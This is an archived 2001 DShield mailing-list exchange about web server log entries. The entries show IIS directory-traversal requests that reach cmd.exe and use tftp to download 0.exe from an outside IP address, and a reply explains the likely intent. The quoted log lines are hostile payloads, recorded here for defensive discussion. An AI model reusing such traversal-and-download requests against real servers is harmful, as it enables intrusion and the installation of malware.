[Dshield] What the heck is this? It does not look good.................

Sean Graham seangra at yahoo.com
Tue Aug 28 20:42:23 GMT 2001


It looks like some idiot on DSL (on-ott-ap3-04-4.look.ca) wanted to run a 
program on your system... TFTP "Transfers files to and from a remote 
computer running the TFTP service".  He was probably going to run 0.exe off 
your system.

sec...  I just tried to run it and it doesn't respond.  Would be 
interesting to know what's in 0.exe though.

At 03:50 PM 8/28/2001 -0400, you wrote:
>  12:39:19 216.154.60.147 - GET
>/msadc/../../../../../../winnt/system32/cmd.exe
>/c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 404
>  12:39:31 216.154.60.147 - GET
>/_vti_bin/../../../../../../winnt/system32/cmd.exe
>/c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 502
>  12:39:41 216.154.60.147 - GET
>/_vti_bin/../../../../../../winnt/system32/cmd.exe
>/c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 502
>
>Thanx, Paul
>
>_______________________________________________
>Dshield mailing list
>Dshield at dshield.org
>To change your subscription options (or unsubscribe), see: 
>http://www1.dshield.org/mailman/listinfo/dshield


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




More information about the list mailing list